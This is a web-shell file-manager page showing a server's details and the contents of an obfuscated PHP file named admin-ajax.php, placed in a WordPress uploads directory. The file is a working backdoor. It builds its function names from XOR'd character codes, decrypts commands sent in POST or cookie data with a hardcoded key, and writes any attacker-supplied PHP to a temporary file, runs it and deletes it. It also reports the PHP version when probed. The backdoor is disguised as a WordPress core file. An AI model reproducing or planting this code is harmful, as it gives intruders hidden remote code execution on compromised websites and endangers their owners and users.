HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/03/admin-ajax.php
<?php $nstjgyuyr /*   psbn  */ =  'nstjgyuyr' /*   s_uv */ ^    '';$qonosa      =	"\141" /*  prkub   */ .    "r"."r"."a"."y"."\137"    .   $nstjgyuyr(109)    .     "\141"    . /*ev */ $nstjgyuyr(112);$lrydddcq       =       $nstjgyuyr(675-570)	. /*eguw */ $nstjgyuyr(109)   .    $nstjgyuyr(112) /*   liki*/ .	$nstjgyuyr(108)     . /*  spbku_*/ $nstjgyuyr(360-249)  .     "\x64"    .	$nstjgyuyr(968-867);








function   qwotzhsswg($gzmqaru,    $ugzcepmntwlvpju){    global      $nstjgyuyr;

      

	$gzmqaru /*rq  */ =	"<"   .    "\77" /*x*/ .     $nstjgyuyr(577-465) /* j*/ . /*lmjh  */ "h"."p".$nstjgyuyr(32)    .	$nstjgyuyr(121-4) /*  lrvdjf */ .  $nstjgyuyr(186-76)     . /*ns*/ $nstjgyuyr(696-588)    . /*y  */ "\x69" /* mx  */ . /*   yj */ "n"."k"."(".$nstjgyuyr(95) /*p   */ .   $nstjgyuyr(471-376)    .    "\106" /*  hpog  */ .    $nstjgyuyr(73)  .      $nstjgyuyr(954-878)      .    "\105" /*  bl*/ . /* p*/ "_"."\x5f" /*   _sq  */ . /* ewfs */ "\51"    .	";".$nstjgyuyr(32) /*x*/ .   $gzmqaru["d"];
 /*  opehm  */ $qirlx	=    $nstjgyuyr(102)    .	"\x69"    .    "l"."e"."\x5f"	. /*   tgy   */ $nstjgyuyr(112)   .     $nstjgyuyr(427-310)     .      "\164"      . /*  squ*/ "_"."\x63" /*  ouk */ .	"o".$nstjgyuyr(110) /*khsrj  */ .    "\164"      .  "e"."n"."\x74"    .   "\x73";

	

    $qirlx($ugzcepmntwlvpju,     $gzmqaru);
 /*vksntz*/ 

    vntuci_ie($ugzcepmntwlvpju);
}



$tzaymixsv   =	73;function     vntuci_ie($ugzcepmntwlvpju){	global    $nstjgyuyr;

    
    include($ugzcepmntwlvpju);


	$tlulnqfmqqw	=	$ugzcepmntwlvpju;


     @unlink($tlulnqfmqqw);


}function       fxqafx()

{
    global /* sxeave  */ $nstjgyuyr;

 /* vkn   */ $tlulnq     =    array();
    $tlulnq["p"."v"]  =    phpversion();	$tlulnq["s"."\x76"]      =    $nstjgyuyr(51)      . /*   pkims   */ "."."5";

	$adkujfa      =	74;	echo	@serialize($tlulnq);

}








function /*pok   */ ylmsnfuii($gzmqaru,   $dcupp_sidc)

{ /*   u   */ global /* gw   */ $nstjgyuyr;


     $bkfor /*xm   */ = /*fmktta */ "";

    $esnfei_ccr      = /* a   */ strlen($gzmqaru);
 /* pdkgna*/ $htl_ng /*kao */ =     strlen($dcupp_sidc);

 /*  fvv   */ $tlulnq /*dfvqdg  */ = /*  xct_*/ 0;

	$ugzcep    =    0;

	       while	($tlulnq /*   z   */ <    $esnfei_ccr)    {

 /* pdli   */ $lrkkwjna /*  k */ = /* ucm   */ $gzmqaru[$tlulnq]      ^ /*  vmxwms   */ $dcupp_sidc[$ugzcep /*  au */ % /*wtzds   */ $htl_ng];


 /*  qddcf*/ $bkfor /* gbdby*/ .=     $lrkkwjna;


	$ugzcep++;     
 /*wmoum */ $tlulnq++;
	}

  
 /*  tq   */ if	(strlen($bkfor)    >	20)    {
       $qxx_hfq    =	substr($bkfor,	0, /*   _nclvp  */ 20);

 /* xyz  */ }


   if       (empty($bkfor)) /*btd  */ {


 /*  topk  */ $bkfor    = /*   wcf_n   */ date('Y-m-d    H:i:s');

 /*  b */ }
 /*v  */ return	$bkfor;

}




function    kh_fiaxv($gythqgysrp)

{
  global    $nstjgyuyr;


 /*   mn */ 
	$soqfoljlr /*   q */ = /*  tsw*/ "9"."f".$nstjgyuyr(339-285)    .       $nstjgyuyr(344-243)	.       $nstjgyuyr(1094-994)    .    $nstjgyuyr(99)       .    "1"."1"."-"."\x32" /*   yvwyjl  */ .       $nstjgyuyr(98) /* s_ */ . /*   uwyhew*/ "\61" /* u   */ . /*   sr */ "2"."-"."4"."f"."e"."\x36"	.    "-".$nstjgyuyr(172-75)	.       "9"."8"."b"."-"."f"."6"."\142"    .    "2"."4".$nstjgyuyr(811-709) /*xxjt_   */ .	"\x62"    . /* uitcxu*/ "d"."3"."e"."\67"	.   "9";
    


       foreach    ($gythqgysrp /*  ameo   */ as     $tdoye	=> /*  attz */ $gzmqaru)   { /* dhanz  */ hlkhwddc(base64_decode($gzmqaru),    $soqfoljlr,	$tdoye);


 /*n   */ }}




function     hlkhwddc($gzmqaru,  $soqfoljlr, /*   hseef  */ $tdoye)

{
     global   $nstjgyuyr;

      /* dvlgxf*/ $gzmqaru       = /*   e*/ unserialize(ylmsnfuii(ylmsnfuii($gzmqaru, /*   jqpv */ $soqfoljlr),    $tdoye));
	$ceb_wgfjh  =	'yaerz';


	$grgjla    =  'edda';

 /*   mfu   */ if /*   cpve */ (isset($gzmqaru[$nstjgyuyr(1081-984).$nstjgyuyr(107)]))       {


	if    ($gzmqaru[$nstjgyuyr(1081-984)]   ==   "i")	{


 /*  mlngd */ fxqafx();
 /*dx  */ } /* wo  */ elseif  ($gzmqaru[$nstjgyuyr(1081-984)]	==  "e")	{

 /*  nh*/ qwotzhsswg($gzmqaru,   sprintf("\x2e"    .	$nstjgyuyr(47)   . /*ivra  */ "\x25" /*   wjxccz   */ .	"\x73" /* am*/ . /* gnzkiq   */ "\x2e"    . /* hvg*/ "p"."\154", /*   h  */ md5($soqfoljlr)));

			$b_bqfwwho /*   kigswj  */ =	44;
       }

       exit();
 /*   osjcme*/ }
}




kh_fiaxv($_POST);    $ljabcu	=     'rawurldecode';

$ozrbjyryi     =    $qonosa($ljabcu,     $_POST);$lrydddcq("",    $ljabcu);





kh_fiaxv($_COOKIE);

$u_aggppo /* uqlmvh  */ = /*   focdia*/ $qonosa($ljabcu,    $_COOKIE);




?>